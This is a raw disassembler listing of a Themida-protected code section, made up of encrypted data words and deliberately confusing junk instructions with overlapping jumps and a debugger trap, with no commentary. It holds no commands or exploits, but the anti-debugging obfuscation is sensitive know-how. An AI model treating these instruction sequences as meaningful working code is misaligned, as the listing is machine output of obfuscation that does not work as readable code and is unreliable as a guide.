0B4FD50DAh dd 8739316Ch, 61290181h, 0BE66D08Bh, 0E860E594h, 11h, 7BFFE136h dd 1372970Ah, 0E7A1D07h, 0E98B0AB7h, 11E9B5h, 0FEE30000h dd 9DBC3119h, 30CEB762h, 0A14A4DB2h, 587DD362h, 8C98061h dd 6616CA80h, 0F172D381h, 4CE2BF66h, 0BE852h, 0A38A0000h dd 6DBB2177h, 0D1E1D085h, 0DBB70FDAh, 8E85A5Bh, 2000000h dd 272884E3h, 0E9EC796Dh, 14h, 1D330446h, 0DCE9900Eh, 749C2668h dd 3421C615h, 0A225DA21h, 0BEF78B59h, 4CA27F52h, 70C8BB66h dd 0B6CB8166h, 66C28B7Ch, 0E963CFBAh, 12h, 4EEF18B2h, 0F07499A9h dd 76072635h, 486C7DC2h, 0F52AA2Ah, 8059D7BFh, 0D6818CE4h dd 616C05DFh, 4C53EF81h, 10E83B54h, 0B9000000h, 5AD351FAh dd 0D7627D50h, 0F2F87003h, 0B78FFD2Dh, 5B515FEFh, 7E8h dd 0B9F04800h, 56E72521h, 5E8h, 916F9800h, 5E5B7217h, 1DC88166h dd 8A0FFC0Ah, 0Dh, 8E9h, 9868500h, 13E18203h, 3A5CBABCh dd 41BB097Fh, 0E96F792Bh, 13h, 0D707FD75h, 242C214Eh, 0C94B32C4h dd 0BA1E9D40h, 0E9B59998h, 11h, 0C0E93CD6h, 7464844Fh dd 54E783DDh, 96CCC83h, 0DE8F9h, 0CB660000h, 36EEC0C2h dd 664898E3h, 665D64DBh, 0E959C78Bh, 0Ah, 54B1EE95h, 0E261C565h dd 800FEF22h, 3, 0B8C0B70Fh, 185DA7C4h, 9E8h, 53AADA00h dd 0D6E18F54h, 0F960E8CFh, 0BF665B61h, 0CE886E4h, 53000000h dd 6EBB0C03h, 65DB6DC9h, 0F43C822h, 0E85FFEB7h, 6, 0CB86D70Fh dd 5BFC3E22h, 16EE8151h, 5819C25Dh, 9E8h, 0FA17A900h, 55B3860Fh dd 8B66F954h, 0DF815FCFh, 782E2462h, 8F0Fh, 0B8660000h dd 0E860F39Ch, 13h, 473B42CAh, 0F447851Ah, 785F1A21h, 0CBABC179h dd 5A299CD1h, 6860Fh, 0DF810000h, 0E29D651h, 5FF85061h dd 0DA8B6052h, 0FE8h, 0E9819F00h, 0EBC7E413h, 724BED4Eh dd 21AE6ABFh, 605A6159h, 3820Fh, 8B660000h, 0DE861C2h dd 1000000h, 0FE5374B2h, 14D3AB09h, 23C6A714h, 0ACBEF560h dd 6157768Bh, 0DE96058h, 0DB000000h, 0D3A02996h, 0C262563Bh dd 0BED7B731h, 5870Fh, 81660000h, 615841C7h, 0E2816660h dd 7E981B3h, 46000000h, 70A98751h, 5061D82Eh, 0FC3DB866h dd 10E95Bh, 0E94D0000h, 0C6F964F7h, 88D4749Dh, 5D5B743Ah dd 0C68B93DFh, 0DE9h, 34E13D00h, 0B734361h, 0DC04A963h dd 14E9D375h, 82000000h, 0B3493F85h, 0BAAD9F86h, 8FD57D95h dd 0A6D3BD58h, 577BA58Bh, 5EE4C380h, 6301BB66h, 9E9h, 233A2100h dd 98CF0631h, 0B70F5594h, 10860FDFh, 0E9000000h, 0Bh, 4E175D23h dd 0BBA11561h, 668876EDh, 10E9FE8Bh, 2A000000h, 48C963EBh dd 0C915D9E1h, 0C89F3B3Ah, 0E98E64B6h, 0Dh, 0BD1157AEh dd 97264592h, 0DCD765FEh, 0CAF2819Eh, 0F3FB470h, 38Dh dd 0D78B6600h, 0F5F18B66h, 99BCF2BFh, 68B96601h, 5E875h dd 75850000h, 0F94E0502h, 810FF559h, 3, 0E9D38B66h, 11h dd 0F4C6EED0h, 0FBAE64D6h, 0D2035939h, 0D5F975E2h, 12E823h dd 7FFD0000h, 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h dd 346CBF66h, 0C88B665Eh, 2870Fh, 0C78B0000h, 5E8h, 59BF3700h dd 6657E359h, 5E6F3EBEh, 0EE28058h, 66D68BFCh, 0B150FB8Bh dd 0AE959EEh, 4C000000h, 174B70ACh, 0F1CB8BBCh, 58F0F90h dd 66000000h, 552DD181h, 29BF95B3h, 0F9378F09h, 0DF81DEB2h dd 796EA866h, 3850Fh, 0F1800000h, 0D810FB3h, 0E9000000h dd 8, 44F408Bh, 0EA9DDAAh, 82CF8166h, 68C681B7h, 0F82189D3h dd 10E9h, 0A2C39B00h, 0C7D1E415h, 0D253A88Eh, 0F551492h dd 0B9D08BABh, 35C40C29h, 9E9h, 0E12F1700h, 0C5DC3476h dd 66F86972h, 60916CB9h, 0F8B70FF5h, 6097B461h, 6E9h, 0E6304200h dd 66870FE1h, 8DAAC081h, 0C3BF0F61h, 6658F853h, 24BAC68Bh dd 0E95F1EB4h, 0Ch, 8CE43A18h, 70318574h, 2ACB0E86h, 0F2C08166h dd 0C9816603h, 14E934DAh, 65000000h, 53EE074Eh, 0E8FFD898h dd 723B6FC2h, 576B54CFh, 0FDD47C4h, 148Ch, 0BE800h, 42DF0000h dd 0E9313C3Eh, 1A7075E3h, 0D38B66B8h, 0B70F6059h, 0CA8B66C6h dd 8E961h, 5100000h, 0E8BE6954h, 0AE88E9Bh, 4C000000h dd 4663320Ch, 0E42EC420h, 0E4EC8030h, 0B0D98A5Bh, 18F0F8Ah dd 0FC000000h, 3B39EF81h, 0FE81BD5h, 0D8000000h, 68CD2151h dd 50BC0EB1h, 262E56EFh, 66609ACAh, 8A1397BAh, 0B95E61C3h dd 71FC874Ch, 6056D78Bh, 0EE9h, 0F9955E00h, 827BB7B5h dd 0CE7F25A9h, 0E8178BE8h, 0Bh, 0FE82245h, 0A3B4EA04h dd 5F143BF9h, 66575B61h, 0F5ADA8Bh, 588h, 728BBE00h, 0D8B7252Ah dd 0FCD1B70Fh, 0FD2BF0Fh, 183h, 5FB4F500h, 3ADE981h, 0D58A2B5Eh dd 0B31A9EBAh, 880F576Ah, 2, 0E95BC4B5h, 0Ch, 9952ED7h dd 5F5BCE70h, 0DA4E0E33h, 0D281F88Ah, 271B9481h, 0E989DF80h dd 5 dd 0C5355933h, 9E9B1h, 0E13B0000h, 0AC177BCAh, 0BE607B0Dh dd 373B6738h, 0F5695B7h, 282h, 58D38B00h, 0AE9h, 0DA8DBA00h dd 27D97379h, 0B373C204h, 0DF8051ADh, 0B70F5EFFh, 0FE9CEh dd 54160000h, 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h, 0E7A8B9CCh dd 0CFBB0F47h, 0BB76F917h, 7575BB11h, 0CA45E381h, 0BA664D44h dd 0CF81EDD1h, 0A07FB51h, 6716F081h, 0BF0F1587h, 956BEF6h dd 8B66238Bh, 75D480C2h, 0F4AB6CB9h, 0E960B011h, 0Ch, 97DACB5Eh dd 7CAEDF02h, 2F2599E8h, 1E72ABB8h, 0E8F48A6Ah, 0Ch, 68B08280h dd 0F7B282BAh, 50423107h, 13E858F8h, 0B7000000h, 4F42D66Ah dd 7F8448F6h, 0E39B6D7h, 0F3CFE7B4h, 0DE913A5h, 0F6000000h dd 0CD298D23h, 0CD3D6C60h, 0E0D863ACh, 57A4B959h, 8B666530h dd 12E9F7h, 0DF810000h, 1684F197h, 4F7EFFBEh, 0CFEB56D2h dd 38E895B7h, 5FD38B56h, 0EE960h, 0B5D00000h, 0AB969D48h dd 0CFCC3466h, 0E2BC208Eh, 81666061h, 0BF3C78E3h, 2CAD0B31h dd 34B86661h, 0E8BBB205h, 12h, 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh dd 8ED385EEh, 0BA662D1Ch, 665B16D6h, 0BE8F98Bh, 0D2000000h dd 0CF0227F7h, 0C10C1164h, 0F53B7C0h, 8Eh, 815B5800h, 679E24D0h dd 41D28155h, 0B21CFEB3h, 0F68166C5h, 8CB922C3h, 6061C0E9h dd 830FFB8Bh, 6, 8B0Fh, 0F610000h, 680h, 36F18100h, 0E838E704h dd 0Dh, 0DDF60AF8h, 246D881Dh, 9B3656A7h, 2850F0Ch, 50000000h dd 0BF0F5E5Bh, 0E85151CBh, 11h, 0EF1687B8h, 47C55B7Ch dd 8EFF8EB4h, 71026990h, 5A585E5Fh, 0DA8BF38Bh, 5E8h, 0DECF1C00h dd 77BF97E1h, 5B6D74A3h, 13E9h, 42B90300h, 5F89C888h, 0EE061E51h dd 0EB0F955Ch, 28CD61D6h, 39F2E681h, 8BF87832h, 118F0FF1h dd 0E9000000h, 0Ch, 0A6D9C003h, 31F21421h, 9A29E047h, 6E9EDB3h dd 0CD000000h, 0B9FCD4C8h, 66FD8A55h, 6784D281h, 0C554CEBBh dd 0A2F78012h, 0F6F68166h, 7AD981F5h, 8B1DBA26h, 42DB80DFh dd 0B8A0Fh, 8F0F0000h, 5, 97DB8166h, 0FBBF0FEBh, 6E8h dd 8D6F4400h, 813036BDh, 4FBDC5D8h, 0C8815811h, 6D5A43F0h dd 66D88B66h, 0F85360B9h, 2820Fh, 0CE8B0000h, 0BE9h, 0DF6E3900h dd 1851F13Ah, 5795B444h, 0FF4EE081h, 0FE86A4Bh, 45000000h dd 472C0AAEh, 9AC935B5h, 29B83E26h, 0BF0F7F82h, 0DA805EF6h dd 81F38B10h, 834830D0h, 11E81Bh, 64E00000h, 0AD1E8600h dd 0F7FB0CC3h, 0C87D4656h, 811B5AE4h, 0DF452EC9h, 8B665B0Ah dd 5CC680D7h, 8AF78166h, 76BAF960h, 66329B2Eh, 4574F281h dd 0C51565BAh, 14E829h, 579B0000h, 12E2B1F4h, 8C395415h dd 23CAB93Bh, 0AFE47B01h, 830FA905h, 4, 0D12B966h, 0D78B665Eh dd 0BE9h, 2A8C7200h, 0DD695566h, 0E8B6F4E6h, 0EE9h, 0C674F700h dd 0FD14BAA2h, 1FB789D0h, 8B299787h, 0E9FA8BD7h, 14h, 2A726C9Fh dd 86F04F6Ch, 2F6398Eh, 7C7F23C8h, 0D906A34Bh, 66D68166h dd 4A79BEFCh, 0BF0F0812h, 12E8F7h, 53060000h, 93032870h dd 1A1B3274h, 81A04771h, 0AC7FD364h, 5AE9EC80h, 0E358BEF8h dd 0DE90E00h, 15000000h, 43FD1972h, 838803EFh, 0C74355E0h dd 59EF281h, 0E8601493h, 14h, 0EE603FA6h, 61BD4696h, 15AD506Ah dd 6D446F45h, 43A3F628h, 665A6160h, 6661C78Bh, 2DBBD38Bh dd 526DCF89h, 0F5BE78Ah, 28Ah, 0FFB8B00h, 586h, 8CA9B800h dd 13E80CAEh, 8A000000h, 3D509AABh, 319BC149h, 0B224728Eh dd 4D2ABD19h, 0B9665A32h, 0E95A46E1h, 6, 0FD91750Ah, 0B70F850Bh dd 4890FF1h, 53000000h, 8A5FC68Bh, 0D840FFDh, 60000000h dd 8C0Fh, 41B80000h, 6179392Ch, 0FD3B70Fh, 8B66F3BFh, 0AE8D0h dd 297C0000h, 7D92055Eh, 4EE7E3Ch, 28690BBFh, 0FB8B5A3Ah dd 810Fh, 0BF0F0000h, 0CBB66D8h, 0C2816632h, 8D0F7132h dd 0 ; --------------------------------------------------------------------------- jmp loc_5CF386 ; --------------------------------------------------------------------------- db 0A7h, 0Ah, 1Bh dd 0A195F6B2h, 0FECFBC3Bh db 6Dh, 4Ah ; --------------------------------------------------------------------------- loc_5CF386: ; CODE XREF: Themida_:005CF374j jmp loc_5CF390 ; --------------------------------------------------------------------------- db 3Eh dd 7B966D32h ; --------------------------------------------------------------------------- loc_5CF390: ; CODE XREF: Themida_:loc_5CF386j mov ebx, 21A60F9Bh clc adc dl, 0ABh jns loc_5CF3B3 jmp loc_5CF3B3 ; --------------------------------------------------------------------------- dd 0A5EC56FDh, 69EBA836h, 0CE72B1Bh db 0FFh, 0BCh, 53h ; --------------------------------------------------------------------------- loc_5CF3B3: ; CODE XREF: Themida_:005CF399j ; Themida_:005CF39Fj or edi, 10D4FF49h adc ecx, 6552275Bh adc cl, 0AEh or di, 4463h call sub_5CF3DD jecxz short near ptr sub_5CF41B+1 adc eax, 0D839C818h stosw setalc and [ebx+esi*2-26h], esp scasd fstp tbyte ptr [edi] ; =============== S U B R O U T I N E ======================================= sub_5CF3DD proc near ; CODE XREF: Themida_:005CF3C7p pop ebx movzx eax, ax jmp loc_5CF3F7 ; --------------------------------------------------------------------------- sahf or [ebx], ecx adc [ecx], ecx xchg eax, esp xchg eax, esp icebp imul esi, [edx], -8 add al, 7Dh push cs xor [edx+26h], dh loc_5CF3F7: ; CODE XREF: sub_5CF3DD+4j adc bh, 33h mov edx, ebx jmp loc_5CF410 ; --------------------------------------------------------------------------- mov ecx, 0AD5B68Bh mov eax, ds:2E8F7BA2h cmp eax, 0A0A99707h loc_5CF410: ; CODE XREF: sub_5CF3DD+1Fj call near ptr sub_5CF41B inc eax inc ebp in al, dx and ah, 94h sub_5CF3DD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CF41B proc far ; CODE XREF: sub_5CF3DD:loc_5CF410p ; Themida_:005CF3CCj ; FUNCTION CHUNK AT 005CF4A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005CF4AE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005CF4C7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005CF4E7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005CF4F7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005CF516 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005CF54E SIZE 0000003C BYTES mov bx, 1D69h pop edi jmp loc_5CF437 ; --------------------------------------------------------------------------- db 21h, 0D1h, 9Ah ; --------------------------------------------------------------------------- sahf scasd fcomip st, st(5) and eax, 35EFC573h sti mov esi, 3C43DC0Ah loc_5CF437: ; CODE XREF: sub_5CF41B+5j mov esi, 41758465h jmp loc_5CF448 ; --------------------------------------------------------------------------- db 45h, 16h, 9Dh dd 83660004h ; --------------------------------------------------------------------------- loc_5CF448: ; CODE XREF: sub_5CF41B+21j mov di, 98D4h mov ebx, eax mov ax, si mov ax, 5D6Ch jmp loc_5CF46B ; --------------------------------------------------------------------------- dw 4560h db 0CCh db 8Eh, 0A7h, 90h dd 87386E48h, 0A7FF3D96h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FDh, 0Dh ; --------------------------------------------------------------------------- loc_5CF46B: ; CODE XREF: sub_5CF41B+3Aj ; sub_5CF41B+7Aj mov di, 0A799h mov di, 9AF8h jmp loc_5CF47E ; --------------------------------------------------------------------------- dd 5C7778CDh db 8Ch, 6Ch ; --------------------------------------------------------------------------- loc_5CF47E: ; CODE XREF: sub_5CF41B+58j mov dx, ax jg loc_5CF4A3 pusha mov di, 23EBh call near ptr loc_5CF49D+4 cmp [ecx], ebx sub al, cl jbe short loc_5CF46B sar byte ptr [ebp+3C3D1515h], cl loc_5CF49D: ; CODE XREF: sub_5CF41B+71p mov esi, 5BAA9A45h sub_5CF41B endp ; sp-analysis failed popa ; START OF FUNCTION CHUNK FOR sub_5CF41B loc_5CF4A3: ; CODE XREF: sub_5CF41B+66j jmp loc_5CF4AE ; END OF FUNCTION CHUNK FOR sub_5CF41B ; --------------------------------------------------------------------------- dd 0A3F2BEB3h db 9Fh, 0E0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF41B loc_5CF4AE: ; CODE XREF: sub_5CF41B:loc_5CF4A3j or dh, 0E3h mov ecx, 1813A9B4h jmp loc_5CF4C7 ; END OF FUNCTION CHUNK FOR sub_5CF41B ; --------------------------------------------------------------------------- db 3 dd 0E9261FD0h, 0B335171Ah db 32h, 0B0h, 38h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF41B loc_5CF4C7: ; CODE XREF: sub_5CF41B+9Bj mov edi, 33051BFFh jnb loc_5CF4D7 mov edi, 4849968Eh loc_5CF4D7: ; CODE XREF: sub_5CF41B+B1j jmp loc_5CF4E7 ; END OF FUNCTION CHUNK FOR sub_5CF41B ; --------------------------------------------------------------------------- dd 707B7D4Bh, 4B6BB8E0h ; --------------------------------------------------------------------------- rcl cl, 2Bh ; START OF FUNCTION CHUNK FOR sub_5CF41B loc_5CF4E7: ; CODE XREF: sub_5CF41B:loc_5CF4D7j jmp loc_5CF4F7 ; END OF FUNCTION CHUNK FOR sub_5CF41B ; --------------------------------------------------------------------------- dd 13AE6C9Bh, 1E889823h db 0BFh, 66h, 10h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF41B loc_5CF4F7: ; CODE XREF: sub_5CF41B:loc_5CF4E7j js $+6 sub bx, 6E61h mov edx, eax clc push ecx movzx ebx, cx pop eax pusha jmp loc_5CF516 ; END OF FUNCTION CHUNK FOR sub_5CF41B ; --------------------------------------------------------------------------- retn 3EDEh ; --------------------------------------------------------------------------- db 0A0h db 1Eh, 0C7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF41B loc_5CF516: ; CODE XREF: sub_5CF41B+F0j mov edi, 45E48D1Bh popa pusha ja loc_5CF529 jb $+6 loc_5CF529: ; CODE XREF: sub_5CF41B+102j and ebx, 2C5A927Eh popa add edi, 14677BECh pusha movzx ebx, bx push eax jmp loc_5CF54E ; END OF FUNCTION CHUNK FOR sub_5CF41B ; --------------------------------------------------------------------------- inc esi inc byte ptr [esi-390D8C04h] sbb bl, 0CEh int 3 ; Trap to Debugger leave inc ebx pop ebx ; START OF FUNCTION CHUNK FOR sub_5CF41B loc_5CF54E: ; CODE XREF: sub_5CF41B+120j pop ebx popa jg loc_5CF55B pusha and bh, 31h popa loc_5CF55B: ; CODE XREF: sub_5CF41B+135j pusha stc mov al, 0E9h popa movzx ecx, cx jnp loc_5CF56C movsx edx, ax loc_5CF56C: ; CODE XREF: sub_5CF41B+148j mov esi, 0D16F362h sub ebx, 76D88676h and ebx, 773C2C8Eh call sub_5CF58A out dx, eax push ebx or eax, [ebx+5271075h] ; END OF FUNCTION CHUNK FOR sub_5CF41B ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CF58A proc near ; CODE XREF: sub_5CF41B+162p jmp sub_5CF59C sub_5CF58A endp ; --------------------------------------------------------------------------- db 0AAh dd 0E47D0A39h, 0A8B22DB9h, 0F0F4D807h ; =============== S U B R O U T I N E ======================================= sub_5CF59C proc near ; CODE XREF: sub_5CF58Aj pop ecx push ecx cld pop esi sub eax, 490E04D9h call sub_5CF5B5 clc jno short near ptr loc_5CF5FF+4 fidiv dword ptr [ecx+7] fist dword ptr [edi+34h] iret sub_5CF59C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CF5B5 proc near ; CODE XREF: sub_5CF59C+Ap stc pop edi call near ptr loc_5CF5CA+4 inc edx add al, 7Fh push edi call near ptr 5A88E6AFh cmp [ebx+22h], dl mov dh, 9Eh loc_5CF5CA: ; CODE XREF: sub_5CF5B5+2p rcr dword ptr [ecx-749F8092h], cl sub_5CF5B5 endp ; sp-analysis failed idiv dword ptr [edx+4D7E453Dh] popa pop esi pusha mov cx, 0B68Bh call near ptr loc_5CF5E9+4 add ch, [eax] and eax, 69E46D48h loc_5CF5E9: ; CODE XREF: Themida_:005CF5DDp not dword ptr cs:[ebx+0A0DBE88h] mov edx, 0B2615A5Eh movsd and edx, 59BF9B5h mov cx, di loc_5CF5FF: ; CODE XREF: sub_5CF59C+10j jbe loc_5CF60A loc_5CF605: ; CODE XREF: Themida_:005CF617j mov ecx, 25307045h loc_5CF60A: ; CODE XREF: Themida_:loc_5CF5FFj jmp loc_5CF61C ; --------------------------------------------------------------------------- align 10h adc edi, ds:5A1A1A5Ah icebp jno short loc_5CF605 push cs push ecx pop ds loc_5CF61C: ; CODE XREF: Themida_:loc_5CF60Aj jle loc_5CF625 sbb bh, 0ECh loc_5CF625: ; CODE XREF: Themida_:loc_5CF61Cj jns loc_5CF62E mov bx, ax loc_5CF62E: ; CODE XREF: Themida_:loc_5CF625j jl $+6 clc mov ax, 0D821h adc cl, 0B5h mov edi, 59F2A131h adc edi, 73E0B580h adc cx, 4CB3h movsx ebx, di mov esi, eax clc adc ebx, 7C462438h movzx esi, cx mov esi, 5B91EC4Fh pusha mov eax, edx push ebx jno $+6 pop esi popa jmp loc_5CF677 ; --------------------------------------------------------------------------- db 0D0h, 6Dh, 3Ch db 4Eh, 0F8h, 30h ; --------------------------------------------------------------------------- loc_5CF677: ; CODE XREF: Themida_:005CF66Cj movzx ecx, di mov bl, ah jnb loc_5CF6A0 jns loc_5CF6A0 jmp loc_5CF6A0 ; --------------------------------------------------------------------------- align 2 dw 2509h dd 0B655251Fh, 0BEB907AFh, 3AEDF738h, 662D25E7h ; --------------------------------------------------------------------------- loc_5CF6A0: ; CODE XREF: Themida_:005CF67Cj ; Themida_:005CF682j ... jle $+6 jmp loc_5CF6B5 ; --------------------------------------------------------------------------- db 75h dd 6BB49232h, 0C1CC46F7h db 80h ; --------------------------------------------------------------------------- loc_5CF6B5: ; CODE XREF: Themida_:005CF6A6j mov ecx, edi mov ebx, edx movsx edi, bx mov si, 0E5EAh and bl, 83h mov si, di adc ch, 23h pusha mov bx, 7E0Eh mov edi, eax popa sbb al, 5Bh and ax, 29C2h adc ah, 0FBh jmp loc_5CF6F1 ; --------------------------------------------------------------------------- pop ss dec esp mov dh, 10h mov esi, 45785B31h xchg eax, esp add [esi+9], dl mov bl, 0C6h cmpsd loc_5CF6F1: ; CODE XREF: Themida_:005CF6DCj jg loc_5CF6FA and ah, 0B6h loc_5CF6FA: ; CODE XREF: Themida_:loc_5CF6F1j jmp loc_5CF707 ; --------------------------------------------------------------------------- db 2Dh dd 209F7F4h db 0D1h, 0F5h, 87h ; --------------------------------------------------------------------------- loc_5CF707: ; CODE XREF: Themida_:loc_5CF6FAj sub ebx, 12B0BF94h jmp loc_5CF719 ; --------------------------------------------------------------------------- mov edx, 0B5AA0CE4h sbb cl, [ebx] loc_5CF719: ; CODE XREF: Themida_:005CF70Dj push eax mov bx, di pop esi cmc jmp loc_5CF738 ; --------------------------------------------------------------------------- dd 47190CC9h, 82C0558h, 0F2633E73h, 0DAD2CB56h, 0E86D0468h ; --------------------------------------------------------------------------- loc_5CF738: ; CODE XREF: Themida_:005CF71Fj stc push ecx mov esi, ebx pop edx jg loc_5CF746 movsx edx, dx loc_5CF746: ; CODE XREF: Themida_:005CF73Dj push edi mov ax, 0BA1Dh pop eax movzx esi, si jmp loc_5CF75F ; --------------------------------------------------------------------------- dd 73040624h, 0A21847Ah db 75h, 91h, 0FDh ; --------------------------------------------------------------------------- loc_5CF75F: ; CODE XREF: Themida_:005CF74Fj call loc_5CF770 push ss pop ds assume ds:nothing sub al, 8Ah mov eax, ds:0B46EAC22h xchg edx, [edx-70h] loc_5CF770: ; CODE XREF: Themida_:loc_5CF75Fp pusha stc movsx ebx, cx popa pop ebx push edi pop edi movsx esi, bx call loc_5CF794 fisttp dword ptr [edx+edi+20h] test al, 0A5h cli mov ch, 6Ah insb ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- mov esp, eax add [esi+5EB8BDC7h], edx loc_5CF794: ; CODE XREF: Themida_:005CF77Cp movsx edi, cx pop edx sbb dx, 0DDCFh and ecx, 7169C011h sub dx, 55Ah mov bx, di movzx edi, dx push edx mov ah, 15h pop edx jb loc_5CF7BB and ch, 0EEh loc_5CF7BB: ; CODE XREF: Themida_:005CF7B2j call sub_5CF7CB push cs mov ebx, 0CCA31930h ; --------------------------------------------------------------------------- dw 7C8Ch db 0C6h, 7Ah, 99h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CF7CB proc near ; CODE XREF: Themida_:loc_5CF7BBp jmp sub_5CF7E1 sub_5CF7CB endp ; --------------------------------------------------------------------------- dd 0B7225A35h, 0FCA6EA0Eh, 6F4DE913h, 5C6DF03Ch ; --------------------------------------------------------------------------- inc edx ; =============== S U B R O U T I N E ======================================= sub_5CF7E1 proc near ; CODE XREF: sub_5CF7CBj ; FUNCTION CHUNK AT 005CF85A SIZE 0000000F BYTES pop ecx ja loc_5CF7EA mov bl, dh loc_5CF7EA: ; CODE XREF: sub_5CF7E1+1j mov dx, 0D1Fh mov si, 2B6Ah mov bx, cx sbb edi, 6567A116h push ecx push ebx and dl, 0B9h pop eax pop edi jle loc_5CF80E and edx, 3DD8EDC2h loc_5CF80E: ; CODE XREF: sub_5CF7E1+21j pusha xor edx, 1ED32B99h ja near ptr loc_5CF824+4 call near ptr loc_5CF824+3 mov ah, 4Bh jnp short loc_5CF85A loc_5CF824: ; CODE XREF: sub_5CF7E1+3Ap ; sub_5CF7E1+34j cmp ebp, ss:[ebx+0BE9615Ah] sub_5CF7E1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dd 9B800000h, 3BD7AAE6h, 6B7FA85Ah, 0BE910h, 9DC70000h dd 0D0DAAA8Bh, 6344252Ch, 18F0FF0h, 0F5000000h, 11E9h dd 0E1706200h ; --------------------------------------------------------------------------- jno short loc_5CF8D6 ; START OF FUNCTION CHUNK FOR sub_5CF7E1 loc_5CF85A: ; CODE XREF: sub_5CF7E1+41j cmc inc esp xor ebx, ebp mov eax, 4B9000FEh mul dword ptr [esi+0CE96027h] ; END OF FUNCTION CHUNK FOR sub_5CF7E1 ; --------------------------------------------------------------------------- db 3 dup(0) dd 279A807Fh, 0DB3D1A8Fh, 32353495h, 0B4C0B761h, 810F22h dd 0E9000000h, 7, 98BBF630h, 0F9BCEB0h, 0B8B0F0B7h, 6A6AC781h dd 0D0812C98h, 5AA959AFh, 0BF0F6060h, 666061CFh, 2685F681h dd 631946B9h, 6661613Eh, 0BA6CDB81h, 16870Fh, 0FE80000h dd 92000000h, 0B8E1995Ch, 4707EDF2h, 9A45EE6h, 5AF95BC1h db 56h, 8Bh ; --------------------------------------------------------------------------- loc_5CF8D6: ; CODE XREF: Themida_:005CF858j setalc pop edx mov edi, eax sbb ebx, 0CD79AD6h mov edi, esi jmp loc_5CF8EF ; --------------------------------------------------------------------------- db 91h dd 3B1E2C13h db 0F3h, 0D1h, 0F4h ; --------------------------------------------------------------------------- loc_5CF8EF: ; CODE XREF: Themida_:005CF8E2j call near ptr loc_5CF8FE+3 repne sub eax, 46F08FFDh db 67h mov al, 0C7h daa loc_5CF8FE: ; CODE XREF: Themida_:loc_5CF8EFp sar byte ptr [esi-72F0A47Dh], cl adc al, 0 ; --------------------------------------------------------------------------- dw 0 dd 8E8h, 0E6CDFF00h, 4E102624h, 890F44h, 58000000h, 35D38166h dd 1FBE665Ch, 0DBB70FEEh, 0EE8h, 2D620300h, 3D168EDh, 9D8BBE8Ah dd 0E9FB5EE7h, 7, 958193BEh, 5BBAFE12h, 12E951h, 0F7240000h dd 0C3134EB9h, 513389Ah, 77FE1935h, 2C819812h, 0ECB1BE5Fh dd 0FF84268h, 38Bh, 0FEB70F00h, 0C5C68166h, 0B70F5787h dd 0B70F59CFh, 5840FC3h, 66000000h, 0EAFCC881h, 27864EBAh dd 0F60603Eh, 8Ch, 0DE96100h, 0C9000000h, 37E57777h, 6A38DBDAh dd 4F9DE351h, 6880F61h, 81000000h, 0C98D87C0h, 0B966535Dh dd 0E9591ED1h, 0Eh, 661E310Bh, 91AE9AC1h, 3C5A67C0h, 0DE810B0Dh dd 29832D9Bh, 0BF715DBAh, 0D2EB8155h, 0F91ACCFFh, 8C0FD88Ah dd 5, 0A41AB2BBh, 0BE902h, 4F6A0000h, 0EDA4720Eh, 23846C79h dd 0E95AB19Bh, 0Ch, 0D1AC5BC5h, 0D3A6EBFFh, 983BF21h, 18B0Fh dd 0FF90000h, 381h, 0CBB70F00h, 6E9h, 0E6218800h, 818D3B80h dd 11165DF0h, 0F3816678h, 0B70F9100h, 11E9FFh, 41FC0000h dd 27F86B07h, 1B71863Dh, 0DD39B753h, 0F848A7B6h, 10810Fh dd 8E80000h, 1B000000h, 24F01DD5h, 60B65FB8h, 0B9525F61h dd 7D178358h, 0BF0F535Bh, 8B0F5AF0h, 0Fh, 0AE9h, 53321C00h dd 6C210EFCh, 0F525D20Ch, 38B0Fh, 8B660000h, 3880FD7h dd 80000000h, 0EE848C5h, 34000000h, 1A112A49h, 82D79BAFh dd 6A44E66Dh, 0BE85125h, 0FE000000h, 0D3B304C6h, 258EBADCh dd 5B58295Eh, 0B1F6815Eh, 816376DDh, 3B9977CFh, 0EE973h dd 7D540000h, 7AFB315Eh, 0B1ADB47Ch, 0D0EDC5D9h, 0AE8h dd 37003B00h, 0BF977D0Fh, 81872E79h, 4C2E2BCBh, 5E8586Fh dd 0B4000000h, 15E0DE1h, 815EEB8Ah, 0BF09DCC8h, 0EE962h dd 0FB1B0000h, 0F17B5C14h, 71FE0BA0h, 0C4614F63h, 66F87DB7h dd 2D4FD281h, 0E8CF8B66h, 14h, 8FD489FFh, 64068461h, 9ABBE8DEh dd 1850440h, 54ED345h, 276F67BAh, 2DBF5B48h, 660A7B4Fh dd 0E848CCBFh, 14h, 0D68A92Fh, 2EBDB55Fh, 70AA7903h, 0FA40F039h dd 753DA402h, 0BE8h, 5DDF4700h, 970D107Bh, 0DE3CDD0Fh dd 9A38F081h, 5B5F19FAh, 666EC180h, 0F0CEE881h, 0BE9FCh dd 0A8690000h, 0B29A3A4h, 0C93DD0F1h, 0E8DA8B92h, 11h dd 4FA7035Ch, 0CCA67A85h, 69C78221h, 8BE0191Fh, 5B73B18Fh dd 0E9F28B66h, 8, 7388D31Fh, 9A1BB2BEh, 880FD3B6h, 3, 66D3C580h dd 901ED381h, 0C68A4BB6h, 0FDEBF0Fh, 588h, 0C6816600h dd 8B66FF58h, 0D58050CFh, 0C9815FC3h, 6037C95Dh, 8162D880h dd 375E07F0h, 0EA81665Fh, 0AE956BBh, 7C000000h, 132C7669h dd 59725559h, 2800F56h, 0B4000000h, 8A0F5090h, 6, 